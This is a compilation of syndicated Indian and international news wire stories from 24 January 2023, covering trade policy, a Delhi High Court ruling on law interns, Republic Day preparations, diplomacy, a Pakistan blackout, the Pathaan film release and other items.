To become a trusted and resilient partner in global value chains, Goyal said, the Government is also focusing on creating an enabling ecosystem, that is simpler, and faster and promotes ease of doing business. He said the focus of the government is on trying to make our country accept Quality as the most important factor in the success story of India. He emphasized that setting global benchmarks, harmonizing Indian standards with global standards, and consumers becoming more demanding of quality are essential for India to become a global key player.

Goyal said India faced a COVID-19 crisis with exemplary resilience, which has been recognized the world over. He said India is one of those countries that through the entire period of covid pandemic never let down a single business commitment. Every service commitment was met without any disruption, there was not a single day of power failure, energy shortage, or no law and order problem, he added.

On the India-UAE CEPA agreement, Goyal said that MSMEs of both countries will be the biggest beneficiary of this agreement. Both countries are engaging with each other and exploring opportunities to meet the needs of each other countries. He said India is in dialogue with some of the larger companies of the UAE to leverage the best out of CEPA.

On, the district as an export hub initiative of the Government, Goyal said it is inspired by the Prime Minister's idea to recognize every district for its unique products and identify the speciality of districts by knowing which district exports which products. He said, under the initiative today, exports from each district of the country are mapped and figures for exports from each district are known. This database of each district is now being used to promote these products across the world. For example, Morbi is recognized for ceramic exports, Tripura exports pineapple and Bihar exports litchi, he said.

He said the government is looking at each district and its potential to emerge as an export hub. It is coordinating at district and state levels to see how businesses can be connected with world markets, making each district realize their role in value chains.

Goyal urged Industry to recognize global efforts to tackle climate change and take up the responsibility of becoming conscious and sustainable in their business practices. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
New Delhi, Jan 24 (PTI) Law interns should be counselled and instructed against posing as lawyers in courts instead of being punished with registration of FIRs for such "inadvertent acts", the Delhi High Court has said.

The high court said adequate and appropriate dissemination of warning will reduce such incidents substantially.

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Justice Anish Dayal said a law intern is a student who is in the process of understanding the practice and procedures of the court and, therefore, it is also the "duty of the institution to take adequate steps to facilitate their education and training and not simply punish them for these inadvertent acts".

This is not to say that in an appropriate case where a person who is not enrolled as a lawyer is wearing lawyer robes and categorically representing himself as a lawyer, there would not be a case for some opprobrium and necessary action, the high court said in an order passed on Monday.

Also Read | Republic Day 2023: Mumbai Police Declare Shivaji Park Area 'No-Fly' Zone Amid Suspicions of Aerial Attack.

The high court's observations came while quashing an FIR lodged against a law intern, a second year student, for allegedly appearing as a proxy counsel before a trial court here last year.

The high court said the petitioner law intern has also filed an undertaking stating he understands that he is not an enrolled advocate and undertakes that he will not appear or project himself as a lawyer in any proceeding before the court till he gets duly enrolled as an advocate.

In view of this undertaking filed before this Court, as well as observations made above, there is no purpose served for proceedings in this FIR to continue. Accordingly the FIR  registered at police station Dwarka is hereby quashed, to secure the ends of justice, it said.

After going through the records of the case, the high court said this issue has been amplified disproportionately before the metropolitan magistrate.

The law student was working as an intern with a lawyer practising in district courts here and on August 31, 2022, when the advocate was out of station he gave instructions to the intern to appear before the magisterial court in a matter in Dwarka and seek adjournment.

When the intern appeared before the magistrate, he was questioned as to whether he was appearing as a main counsel or proxy counsel and, in his nervousness, he submitted that he was a proxy, the plea said.

The intern was not wearing a band and did not even say he was an advocate, his plea before the high court said, adding on finding that the petitioner was an intern, the magistrate issued directions to place a copy of the court proceedings before the district judge who declined to take any legal action as he was a law intern.

However, in September 2022, a complaint was filed by the Dwarka Bar Association secretary after which an FIR was lodged against the intern.

The Bar secretary said there were many such cases of interns appearing in courts and that the presiding officers of these courts had forwarded the complaints to the association.

When queried by Justice Dayal about whether notices to warn such interns from posing as lawyers or wearing an advocate's dress had been properly exhibited, the secretary said certain steps had been taken.

The high court noted that the petitioner, upon being queried by the magistrate, had fairly disclosed he was an intern and also gave his ID card upon being asked to do so.

It was not a situation where an intern was wearing the robes of an advocate or had stated that he was an advocate," the judge said.

"In his understandable nervousness, if the intern stated he was a proxy', it would be a bona fide mistake since the word proxy' is used informally in courts for an advocate who is not on record appearing before the court, but also is not a formalised term of art which would be taken into account to implicate the law intern for an alleged offence (of impersonation, furnishing false information or dishonesty making a false claim), he said.

The court said the petitioner was clearly confused, perplexed and unable to handle the situation which presented before him.

It is evident that a law student cannot appear as a counsel or a proxy counsel in any matter before a court of law, prior to being properly enrolled by a Bar Council and being admitted to the bar. However, in these facts and circumstances, it cannot be said it was a case of mal-intent which could implicate the petitioner for offences under the Indian Penal Code, it said.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Chhattarpur, January 24: One person was arrested in Madhya Pradesh's Chhattarpur for allegedly giving death threats to self-styled godman Dhirendra Shastri, also known as Bageshwar Dham Sarkar, police said on Tuesday. Early today, Shastri received the threats over the phone, the police said.

The accused was identified as Aman Singh, they said, adding he was unable to meet Shastri and hence "done such a thing." "The accused has been suffering from some problem and wanted to meet Maharaj Ji, but hasn't been able to talk to him for a long time. This is the reason the accused has done such a thing," Superintendent of Police Sachin Sharma told ANI. Tej Pratap Yadav Receives Death Threats on Phone, FIR Registered in Patna.

He said a case has been registered against the accused under section 506, 507 of the Indian Penal Code. Meanwhile, Shastri's guru Rambhadracharya said that the government should arrange for his protection. Dhirendra Shastri hit headlines after his controversial remark saying "support me and I will give you a Hindu nation". Cyberpunk 2077 Developers Receive Death Threats Over Launch Delay: Report.

Shastri said that India is such a country where even poet Tulsidas who wrote the "Ramcharitmanas" had to face challenges, adding, "Any priest, cleric or person who challenges Sanatan Dharma will get the reply. But then I am saying, you support me, I will give the Hindu nation".

On January 20, a Maharashtra-based organisation challenged him to display his power by performing miracles at an event in Nagpur. Responding to the challenge, Shastri told ANI in Raipur, "Such people will keep coming. We do not operate within closed doors. They (people who have challenged him) should come and see for themselves. Anyone can challenge my words and actions on camera. Lakhs come and sit in the court of Bageshwar Balaji. Whatever inspires me, I will write and what I write, will turn out to be true. I have faith in my God."

On the chit in which he writes about what the future holds for his devotees, Shastri said, "I have acquired the skill by the grace of God, our Gurus and the power of the mantras of Sanatan Dharma." "Everyone should experience it. This is the proclamation of Satya Sanatan Dharma," he added.

On whether action should be taken against people tarnishing his image and questioning his powers, he said, "They have tarnished my image. The people of Bageshwar Dham will give them a fitting reply. Anyone speaking against Sanatan Dharma will be boycotted."

On alleged religious conversions, Shastri said, "We are making Hindus return to the religion they acquired at birth. Some people are creating a nuisance. They have to be taught a lesson. As long as I am alive, I will make all Sanatani Hindus return to their original faith."

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Srinagar (Jammu and Kashmir) [India], January 24 (ANI): National Cadet Corps (NCC) and Naval Cadets are gearing up for Republic Day celebrations which will be held in Jammu and Kashmir's Sher-i-Kashmir Stadium, Srinagar on Thursday, January 26.

Enthusiastic Cadets on Tuesday attended a Republic Day rehearsal parade amid severe cold in Srinagar.

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"We are very happy that we got a chance to participate in the Republic Parade. We are taught how to behave with seniors during our Training," Arif Ahmad Khan, a Naval Cadet from Srinagar's Amar Singh College said while talking to ANI.

The Main Republic Day parade is being planned at Sher-i-Kashmir Stadium, Srinagar.

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These cadets from different schools participated in the parade held at NCC headquarters in Srinagar.

Sonali Sharma, an NCC Cadet said, "The motive of the NCC is Unity and discipline. We have come here for a Republic Day Parade going to be held at Sher-i-Kashmir Stadium, Srinagar. That is why we are practising here".

NCC Cadets said they arrived early in the morning to participate in the parade to put their best foot forward on Republic Day.

"We are being trained for a style March, which is the main event on Republic Day. We are always high on confidence. We started our training in the morning," Azher, another NCC Cadet said while talking to ANI.

NCC is providing them with all facilities including hostel facilities as a few cadets come from the remotest areas, one of the Cadets said.

Shafiq Ahmad, Parade Instructor, said, "We are imparting training to these boys with a lot of dedication. We are conducting a parade for Republic Day. We are getting a good response from cadets, considering the cold conditions in Kashmir. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Port Blair (Andaman & Nicobar Islands) [India], January 24 (ANI): Union Home Minister Amit Shah on Monday said that Prime Minister Narendra Modi is working towards making the Andaman and Nicobar Islands "self-reliant".

While addressing 'Iconic Events Week' in Port Blair, Shah said, "MHA has organised events at all major locations associated with him to mark the 126th Birth Anniversary of Netaji...He made a huge attempt to free India by establishing the Azad Hind Fauj."

Also Read | Delhi Shocker: Four Held for Thrashing, Attempting To Kidnap Man in Wazirabad.

"I want to assure the citizens of Andaman and Nicobar islands that PM Modi is working towards making the islands self-reliant," Shah added.

On Monday, Shah arrived at Port Blair Veer Savarkar International Airport of the Andaman and Nicobar Islands to participate in the celebrations of the 126th birth anniversary of Netaji Subhas Chandra Bose.

Also Read | Congress Will Put All Its Might Behind Restoring Jammu and Kashmir's Statehood, Says Rahul Gandhi.

Shah arrived at the Andaman and Nicobar Islands as a chief guest to culminate the 'Azadi Ka Amrit Mahotsav Iconic Events Week' that was held from January 17 to 23 in Port Blair. On Monday (early hours).

These events were organized in collaboration with the Central Armed Police Forces and Central Police Organisations, the Andaman and Nicobar Islands Administration, and the State Governments of Manipur, Nagaland, Gujarat, Odisha, and West Bengal at locations which are related to Netaji's life and work.

According to an official statement from the Home Ministry dated January 16, an array of activities celebrating Netaji's immense contribution to India's freedom struggle were planned to be held throughout the week at Mantripukhri, Keithalmanbi, Kangvai, Moirang, and Nambol in Manipur on January 17; Ruzazho and Chesezu Villages, Kohima in Nagaland on January 18; Gujarat's Haripura, Bardoli, and Surat on January 19; Odisha's Cuttack on January 20 and in West Bengal on January 21.

The Ministry of Home Affairs' Iconic Events Week is an ode to the life and contributions of Netaji Subhas Chandra Bose in India's struggle for freedom. It is a remembrance of his high ideals and a moment for all the country to draw inspiration from the lives of our freedom fighters.

The day, January 23 is also marked as Parakram Diwas to commemorate the birth anniversary of Netaji Subhas Chandra Bose. Prime Minister Narendra Modi will be participating in an event via video conferencing to name the 21 largest unnamed islands of Andaman and Nicobar Islands after 21 Param Vir Chakra awardees.

"Tomorrow, on the day of bravery, there will be a special program in honour of the heroic children of Mother India. Will be a part of it through video conferencing at 11 am. During this, 21 largest unnamed islands of Andaman-Nicobar will be named after 21 Param Vir Chakra winners," PM Modi said in a tweet on Sunday.

The PMO further informed that PM Modi will also unveil the model of the National Memorial dedicated to Netaji to be built on Netaji Subhas Chandra Bose Dweep.

Born on January 23, 1897, Netaji played a crucial role in India's freedom movement.

Subhash Chandra Bose established the Azad Hind Fauj. While there is a controversy over Bose's death in a plane crash in Taipei on August 18, 1945, the Central government had in an RTI (Right to Information) in 2017 confirmed that he had died in the incident.

Last year, on the occasion of Netaji's 125th birth anniversary, PM Modi unveiled the hologram statue of the freedom fighter at India Gate in Delhi. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Raipur, January 24: Self-styled godman Dhirendra Shastri, also known as Bageshwar Dham Sarkar, has once again hit the headlines after his controversial remark saying "support me and I will give you a Hindu nation".

Shastri said that India is such a country that even Tulsi Das had to face challenges, adding, "Any priest, cleric or person who challenges Sanatan Dharma will get the reply. But then I am saying, you support me, I will give the Hindu nation".

Dhirendra Shastri was addressing a gathering organized from January 17 to January 23 at Dahihandi Maidan in Gudhiyari, in Raipur. A divine court was also organized by Dhirendra Shastri on January 20 and 21. He also said that Lord Ram enjoyed the most in exile in Chhattisgarh and therefore he spent most of his time here. Shastri further urged people to follow Sanatan Dharma. Self-Styled Godman Dhirendra Shastri Alias Bageshwar Dham Sarkar Says 'Those Against Sanatan Dharma Will Be Boycotted'.

On January 20, a Maharashtra-based organisation challenged him to display his power by performing miracles at an event in Nagpur. Responding to the challenge, Shastri told ANI in Raipur, "Such people will keep coming. We do not operate within closed doors. They (people who have challenged him) should come and see for themselves. Anyone can challenge my words and actions on camera. Lakhs come and sit in the court of Bageshwar Balaji. Whatever inspires me, I will write and what I write, will turn out to be true. I have faith in my God."

On the chit in which he writes about what the future holds for his devotees, Shastri said, "I have acquired the skill by the grace of God, our Gurus and the power of the mantras of Sanatan Dharma."

"Everyone should experience it. This is the proclamation of Satya Sanatan Dharma," he added. On whether action should be taken against people tarnishing his image and questioning his powers, he said, "They have tarnished my image. The people of Bageshwar Dham will give them a fitting reply. Anyone speaking against Sanatan Dharma will be boycotted." Pragya Singh Thakur Booked by Karnataka Police for Making Controversial Remarks in Shivamogga.

On alleged religious conversions, Shastri said, "We are making Hindus return to the religion they acquired at birth. Some people are creating a nuisance. They have to be taught a lesson. As long as I am alive, I will make all Sanatani Hindus return to their original faith."

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Kolkata, Jan 24 (PTI) The Visva Bharati on Tuesday urged Nobel laureate Amartya Sen to hand over parts of a plot of land in West Bengal's Santiniketan, claiming that he has been occupying the portion in an unauthorised manner.

A letter signed by the deputy registrar of the central university said the residence of the noted economist has been built on an area, which covers extra 13 decimals of land.

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The university also said it was ready to undertake a joint survey of its representatives and the surveyor or advocate deputed by Sen to verify the claims if he wanted.

"It has been found from records and physical survey/demarcation that you are in unauthorised occupation of 13 decimals of land belonging to Visva Bharati..." the letter said.

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"You are requested to hand over the said 13 decimals of land to the university at the earliest," it added.

The nobel laureate's father Asutosh Sen had taken 125 decimals of land on lease from the varsity in 1943, its spokesperson Mahua Banerjee said.

Sen or his family members could not be contacted for comments.

In January 2021, Visva Bharati Vice-Chancellor Bidyut Chakraborty had accused Sen's family of being in illegal possession of land at the campus.

Sen had then said the plot of land was on a long-term lease.

Chief Minister Mamata Banerjee had earlier alleged that Visva Bharati authorities were harassing Sen for his criticism of BJP's policies and ideology.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
New Delhi, Jan 24 (PTI) Shares of Gland Pharma declined 2 per cent in morning trade on Tuesday after the company reported a decline in net profit for the third quarter.

The stock declined 1.87 per cent to Rs 1,351.65 apiece in early trade on the BSE.

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On the NSE, the stock fell 1.93 per cent to Rs 1,349.05 apiece.

The 30-share BSE Sensex was trading 134.96 points or 0.22 per cent higher at 61,076.63 in morning trade.

Also Read | Researchers Working on COVID Vaccine That People Can Drink; Increased Focus Onto Mucosal Vaccines.

Gland Pharma Ltd on Monday reported a 15 per cent decline in consolidated net profit at Rs 231.95 crore for the third quarter ended December 2022, impacted by production delays due to supply disruptions.

It had posted a consolidated net profit of Rs 273.03 crore in the same period last fiscal, the company said in a regulatory filing.

Consolidated revenue from operations during the quarter under review stood at Rs 938.29 crore as against Rs 1,063.33 crore in the year-ago period.

Total expenses in the third quarter were lower at Rs 688.95 crore as compared to Rs 743.43 crore in the same period a year ago.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Bengaluru, Jan 24 (PTI) Manipal Hospitals has entered into an agreement with FUJIFILM India to leverage the latter's digital technology for storing sensitive medical documents and images.

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Under the long-term agreement, Manipal Hospitals said in a statement on Tuesday it would be provided with a large-scale Picture Archiving and Communication System (PACS), powered by FUJIFILM India.

"The PACS eliminates the need for manually storing, retrieving, and sending sensitive information, films, and reports," it said.

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In addition, the next-generation system will enable the storage of medical documents and images in secure off-site servers while the PACS software will ensure that such sensitive medical data can be accessed via mobile devices and workstations from anywhere in the world, the statement said.

The deployment will cover 23 hospitals and 45 Teleradiology facilities under the umbrella of Manipal Health Enterprises across the country, it was stated.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
New Delhi [India], January 24 (ANI): Egyptian President Abdel Fattah El-Sisi arrived in New Delhi on Tuesday and was accorded a warm welcome. He will be the chief guest at the 74th Republic Day parade.

He is accompanied by a high-level delegation, including five ministers and senior officials for his official visit from January 24-27.

Also Read | New Zealand: Two Men From Gujarat Die at Piha Beach Tragedy in Auckland.

As he arrived in New Delhi, the traditional folk dance is being performed to welcome Abdel Fattah El-Sisi.

It is pertinent to mention that this is the first time the President of Egypt has been invited as the chief guest on Republic Day.

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Notably, India and Egypt are celebrating 75 years of establishment of diplomatic relations this year. India has also invited Egypt as a 'guest country" during its G20 Presidency.

According to the statement released by the Ministry of External Affairs, Sisi will be accorded a ceremonial reception at the Rashtrapati Bhawan on Wednesday.

He is scheduled to meet President Droupadi Murmu, Prime Minister Narendra Modi, and External Affairs Minister S Jaishankar among others, with whom he will hold a meeting at the Rashtrapati Bhawan, as per a media advisory released by the MEA.

On the same day, the Egyptian president will lay a wreath at the Rajghat, the memorial of the Father of the Nation, Mahatma Gandhi.

He will hold a meeting with PM Modi and discuss bilateral, regional and global issues of mutual interest during his stay.

The same evening, President Droupadi Murmu will host a state banquet in honour of the visiting dignitary.

On Republic Day, Sisi will witness the Republic Day Parade as the chief guest. A military contingent of the Egyptian Army will march on the Rajpath along with other contingents.Sisi will attend the "at home" reception by President Murmu at Rashtrapati Bhawan. He will also hold a meeting with Vice President Jagdeep Dhankhar. He will interact with the business community in India. Sisi will return to Cairo on January 27.

"This is for the first time that the President of the Arab Republic of Egypt has been invited as Chief Guest on our Republic Day. A military contingent from Egyptian Army will also participate in the Republic Day parade," the Ministry of External Affairs said in an official statement on Monday.

The Ministry of External Affairs stated, "The forthcoming visit of President Sisi is expected to further strengthen and deepen the time-tested partnership between India and Egypt."

India and Egypt have "warm and friendly relations marked by civilizational, cultural and economic linkages and deep-rooted people-to-people ties", as per the MEA statement.

The ties between the two nations are based on shared cultural values, commitment to strengthening economic growth, and cooperation in various sectors, including defence, security and convergence on regional and global issues. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
By Ashoke Raj

New Delhi, [India], January 24, (ANI): India has formally sent invitations to all members of the Shanghai Cooperation Organization (SCO) including Pakistan and China for the upcoming foreign ministers' meeting which will be held in Goa from May 4-5.

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The invitation includes invites to the new Foreign Minister of China Qin Gang and Pakistani Foreign Minister Bilawal Bhutto.

India took over the chairmanship of the 9-member mega grouping in September of last year and will be holding key ministerial meetings and the summit this year.

Also Read | Earthquake in Delhi-NCR: Strong Tremors Felt in India's Capital and Surrounding Areas After 5.8-Magnitude Quake Hits Nepal.

"So far there is no confirmation from the Pakistani side whether Foreign Minister Bilawal will attend the meeting or not," sources said.

Pakistan has not participated in the SCO Film Festival to be held in Mumbai later this month. While all countries have sent entries, Pakistan is the only country that did not send any film for screening in the group's third such film festival.

"There is only one SCO member country, from which entries have not been received, there has been no response," Neerja Shekar, Additional Secretary, I&B said on Monday in a press conference.

Relations between the two countries have been precarious for many years with regard to issues of cross-border terrorism from Pakistan, even as Islamabad has been seeking the restoration of Article 370 for the former Indian state of Jammu and Kashmir for any talks.

Besides, FM Bilawal's remarks at the United Nations (UN) last month on PM Modi have cast a shadow over any improvement in ties between both the countries.

The 20-year-old organization has Russia, India, China, Pakistan, and four central Asian countries - Kazakhstan, Kyrgyzstan, Tajikistan, and Uzbekistan as its members.

Iran is the latest country to become a member and under Indian Presidency will for the first time attend the grouping's meeting as a full-fledged member.

The last meeting of the Shanghai Cooperation Organization was held in Samarkand, Uzbekistan.

Prime Minister Narendra Modi visited Samarkand in Uzbekistan to attend the Shanghai Cooperation Organization Summit. The 22nd Meeting of the Council of Heads of State of the SCO is the first in-person summit since 2019.

India's interest in having stronger supply chains coincides with the country's ambitions to become a manufacturing hub, which, therefore, requires it to collaborate with the region's major economies.

Prime Minister Modi pressed for transit rights at the summit in order to facilitate stronger supply chains through enhanced connectivity; previously, India has struggled to access Central Asian markets without transit rights across Pakistan's territory.

The SCO's significance for India lies in economics and geopolitics with the Eurasian states.

SCO is a potential platform to advance India's Connect Central Asia policy.

The SCO member states occupy the huge landmass adjacent to India's extended neighborhood where India has both economic and security imperatives.

Importance of SCO-Afghanistan Contact Group to stabilize Afghanistan. SCO membership provides India vital counter to some of the other groupings it is a part of. The SCO provides the only multilateral platform for India to deal in close proximity with Pakistan and Afghanistan. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Johannesburg, Jan 24 (PTI) The joint naval exercises scheduled to be hosted by South Africa with Russia and China next month are part of the normal process of training of the country's defence forces, Minister of International Relations and Cooperation Naledi Pandor has said.

The minister was addressing a press conference on Monday together with her Russain counterpart Sergei Lavrov, who was visiting the country.

Also Read | Earthquake in Delhi-NCR: Strong Tremors Felt in India's Capital and Surrounding Areas After 5.8-Magnitude Quake Hits Nepal.

The ministers were reacting to local media reports that attacked South Africa for undertaking the exercises in February at a "sensitive time" when Russia was at war with Ukraine.

Lavrov was the first to defend the drills.

Also Read | Taliban May Use Funds for Buying Blowfish Drones From China, Says Report.

"They are three sovereign countries. They don't violate any norms of international laws. They will conduct international exercises. I don't understand how they can provoke a mixed reaction, Lavrov said, suggesting that perhaps this had been instigated by the US.

Maybe only with our American colleagues, because they believe that only they can have exercises all over the world; not only at more than 200 military bases all over the world but at any place. Now they are actively involved in naval exercises in the Pacific and near China in the Taiwan Strait, and it does not provoke any mixed reactions.

Our exercises are transparent. We together with our South African and Chinese partners have provided all the relevant information  it is available. The practice of trilateral exercises is not something new. We had similar drills with the participation of Indian and China, he said.

Lavrov said the partners in the exercises were perplexed by the way our Western colleagues provoke such noise around ordinary things in the life of sea powers, especially in a situation where Western countries conduct such drills much more often than we do.

Pandor said the exercises were part of a programme of military drills that the South African Defence Force has as part of agreements with many countries worldwide.

She said nobody had questioned exercises which had been conducted by South Africa with the US and France last year.

These are all exercises we undertake to hone the skills of our military to be able to respond to a range of situations, including disaster management, in which our military often plays a role in addressing.

All countries conduct military exercises with friends worldwide. So there should be no compulsion on any country that it should conduct them with any other partner. It's part of a natural course of relations between countries, Pandor said.

Pandor also said the current world order was not in favour of poor and developing countries.

The world, particularly in the financial and economic domain, is greatly influenced by rules developed in Breton Woods institutions. These institutions do not always take account of the developmental needs of the poorest and most vulnerable countries, she said.

Pandor said BRICS countries was giving attention to how the needs of those countries could be addressed.

We would have fairer trade and financial rules in the economic domain, because at the moment, the rules of these institutions really work against the poorest and most marginalised.

So this is the task that we as the BRICS countries need to look at with far greater concentration and really look at what form of reform or radical change we want to see in the IMF, the World Bank and other developmental finance institutions which do not as yet sufficiently focus on the development aspect, the minister said.

The five BRICS countries - Brazil, Russia, India, China and South Africa - represent over 3.6 billion people or half of the world population.

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Islamabad [Pakistan], January 24 (ANI): Pakistan Prime Minister Shehbaz Sharif has ordered an inquiry into the power outage in Pakistan that took place at around 7:34 am on Monday and left many cities including Karachi, Lahore, Quetta and Islamabad without electricity, Geo TV reported.

According to a statement from Pakistan's Ministry of Energy, the national grid's frequency dropped around 7:34 am, leading to a "widespread breakdown" in the electricity system. Additionally, it stated that Warsak was the starting point for the repair of grid stations.

Also Read | Microsoft to Invest $10 Billion in ChatGPT Parent OpenAI.

However, electricity has still not been fully restored nationwide, which is hindering companies and the daily lives of more than 220 million people.

The outage lasted for more than 16 hours, especially when temperatures were forecasted to fall to around 4 degrees Celsius (39F) in Islamabad and 8 degrees Celsius (46F) in Karachi, according to Geo TV.

Also Read | Turkey President Recep Tayyip Erdogan Says No Support for Sweden's NATO Bid.

The blackout, which Energy Minister Khurram Dastagir claimed was caused by a power surge, is the second significant grid breakdown in three months and adds to the nearly daily blackouts Pakistan's population experiences.

The power outage occurred after a technical fault was reported in the transmission line from Guddu to Quetta, causing the reduction of the power frequency from the optimum level, AAJ News reported citing sources.

Sources revealed that Sindh, Punjab, and Islamabad regions were impacted by the power breakdown. According to sources, the complete restoration of electricity might take time. It is the second power outage reported over the past four months in Pakistan which is currently dealing with the energy crisis and high energy costs.

Islamabad Electricity Supply Company (IESCO), which provides electricity to Islamabad, Rawalpindi, Attock, Jhelum, Chakwal and parts of Pakistan-occupied Kashmir (PoK) said that the power supply to 117 grid stations of its company has been suspended, as per the news report.

IESCO tweeted, "Power supply to 117 grid stations of ISCO has been suspended yet no clear reason has been given by the Region Control Center. ISCO management is in constant communication with the concerned authorities." (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
Pripyat [Ukraine], January 24 (ANI): The troops of Ukraine are training hard, but experts and army officials feel that they will need modern machinery and tanks to hold their position against Russia in the conflict otherwise their men will be in a death trap, reported CNN.

Ukraine currently has T-72 tanks that are pretty old to fend off the Ukrainian borders.

Also Read | Des Moines Shooting: Two Students Killed, Teacher Injured After Gun Violence at Educational Programme.

The CNN report said that although Lieutenant General Serhiy Naiev posted a few kilometres from the Belarus border has been receiving heavy machine guns and anti-aircraft guns through a crowd-funded initiative to help Ukraine repel Iranian-made Shahed drones, but he feels the next phase of the war will be crucial when tanks will make the difference.

Naiev believes that will mean not the ancient T-72s but more modern machines such as German Leopard 2s and British Challengers, according to the CNN report.

Also Read | Microsoft to Invest $10 Billion in ChatGPT Parent OpenAI.

Further, the Ukrainian official believes that they need several hundred main battle tanks to hold positions and take the fight to the enemy.

Naiev said, "Of course, we need a large number of Western tanks. They are much better than the Soviet models and can help us advance."

He added, "We are creating new military units. And our next actions will depend on their combat readiness. Therefore, Western assistance is extremely important".

The leadership in Ukraine had hoped for help from Germany at the Ramstein meeting in January this year. However, the CNN report claims that Germany has held back.

Mykhailo Podolyak, an adviser to Ukraine's Presidential Administration, told CNN that "We are disappointed. We understand that some countries have inhibitions. But the slower this goes the more of our soldiers and civilians are killed".

Podolyak has mentioned that "300 to 400 of these tanks, in fact, would outdo 2,000 to 3,000 Soviet-era tanks...It would sharply accelerate the tempo of the war and initiate the closing stages".

The Soviet-era tanks that are currently being used by Ukraine are running out of spare parts.

The situation may become worse for Ukraine as they fear that Russia's next offence wave may come in the next two months. The CNN report claims that by the spring, 150,000 Russians drafted last autumn will have been trained and probably incorporated into battle-ready units.

Another expert Senior Research Fellow in Land Warfare at the Royal United Services Institute (RUSI) Jack Watling also focussed on the Leopard 2 -- demanded by Ukraine -- as it is a well-protected main battle tank with good sensors. (ANI)

(This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body)
The long wait to watch Pathaan on the big screens is going to come to an end. Shah Rukh Khan, Deepika Padukone and John Abraham would be seen in a never-seen-before avatars. The excitement to watch this spy action thriller on the big screens is sky-high. Many have even managed to book the tickets in advance in order to watch first day first show of Pathaan. The film marks King Khans return in a feature film in a leading role since the 2018 movie Zero. Pathaan: Ajay Devgn Showers Praises on Shah Rukh Khans Films Advance Bookings.

Pathaan is the fourth installment in the YRF Spy Universe. The upcoming flick is written and directed by Siddharth Anand and bankrolled by Aditya Chopra under the banner of Yash Raj Films. Ahead of the films release in theatres, lets take a look at some of its key details. Pathaan Trailer Sexy Stills: From Shah Rukh Khans Rugged Charm, Deepika Padukones Bikini Avatar to John Abraham in Trunks, These Hot Pictures of the Actors Are Sure To Set Your Screens on Fire!

Cast  Shah Rukh Khan, Deepika Padukone and John Abraham will be seen in the lead roles, whereas Ashutosh Rana, Dimple Kapadia among others would be seen in pivotal roles.

Plot  The synopsis of Pathaan reads, Pathaan, an exiled RAW field operative is assigned to take down Outfit X, a private terrorist organization that is planning a nuclear attack on India.

Watch The Trailer Of Pathaan Below:

Release Date  The spy action thriller Pathaan is set to be released in theatres on January 25 in IMAX, 4DX and standard formats. Other than Hindi, the film will be released in dubbed versions too, Tamil and Telugu languages.

Review  The reviews for Pathaan are not out yet. LatestLY will update you all as soon as the review for Shah Rukh Khan, Deepika Padukone and John Abrahams film is out.

(The above story first appeared on LatestLY on Jan 24, 2023 03:10 PM IST. For more news and updates on politics, world, sports, entertainment and lifestyle, log on to our website latestly.com).
The Karnataka forest authorities have booked Kannada actor Darshan and his wife Vijaya Lakshmi under the Wildlife Protection Act for keeping the rare bar-headed geese at their farm in Mysuru. Darshan, ironically, is an ambassador for wildlife conservation and he was also nominated to the State Wildlife Board. Darshan Thoogudeepa Responds to Slipper-Throwing Incident During Movie Promotion Event.

The authorities have also booked the farmhouse manager, Nagaraj. The forest department sleuths conducted raids following Darshan's statement in an interview that he has these rare migratory birds at his farmhouse.

The authorities have seized four of the rare birds and released them near the Hadinaru lake in Bengaluru, which is considered a magnet for migratory birds.

Deputy Conservator of Forests B. Bhaskar had stated that his sleuths also found a black swan, ostrich, emu and other rare species of birds at the farmhouse. They have asked for the documents relating to the actor obtaining permission from the authorities to rear these birds at his farmhouse. Kranti: Darshan ThoogudeepaRachita Rams New Still Shared Ahead of the Kannada Films Release on January 26 (View Pic).

Darshan is all set for his big release 'Kranthi' this week. The media has decided not to publish news regarding his new film following his derogatory remarks against media houses.

(The above story first appeared on LatestLY on Jan 24, 2023 01:22 PM IST. For more news and updates on politics, world, sports, entertainment and lifestyle, log on to our website latestly.com).
By Azernews

Qabil Ashirov

The partnership memorandum, which envisages expanding the scale of participation of university students in local and international events, was signed between Rana Mammadova, CEO of Coca-Cola Azerbaijan, and Elchin Babayev, rector of the Baku State University.

In conformity with the memorandum, the parties will conduct scientific researches in the food industry sector and work together for the development of new technologies. The memorandum, which includes knowledge exchange and pilot work opportunities, also provides for the participation of Coca-Cola Azerbaijan specialists as guest speakers at university events. Within the framework of cooperation, university volunteers will also participate in the company's social responsibility projects.

CEO of Coca-Cola Azerbaijan Rena Mammadova emphasized that in accordance with the "Diversity and Inclusion" clause of CCI's (Coca Cola ?checek) commitments until 2030, the company has started cooperation with various programs, including universities.

CCI has been implementing youth-related projects in the countries where it operates for a long time. Now in Azerbaijan, we are focusing on projects that increase the experience and work opportunities of young women, and we are glad to see that we are not alone in this effect. I believe that thanks to our cooperation with the Baku State University, we will be able to positively influence the lives of female students and create an environment where they can develop.

The list of universities with which the company cooperates includes the Baku Engineering University, the Azerbaijani State Oil and Industry University, as well as the Azerbaijani Technical University.

Coca-Cola, one of the most influential companies in the world, has been operating in Azerbaijan since 1994. The producer of Coca-Cola products in Azerbaijan is Azerbaijan Coca-Cola Bottlers LTD LLC, founded by the Turkish Coca-Cola ?checek company. Coca-Cola ?cecek, one of the first and largest investors in the country's non-oil sector, established a production plant in the Sulutapa settlement in 1996.
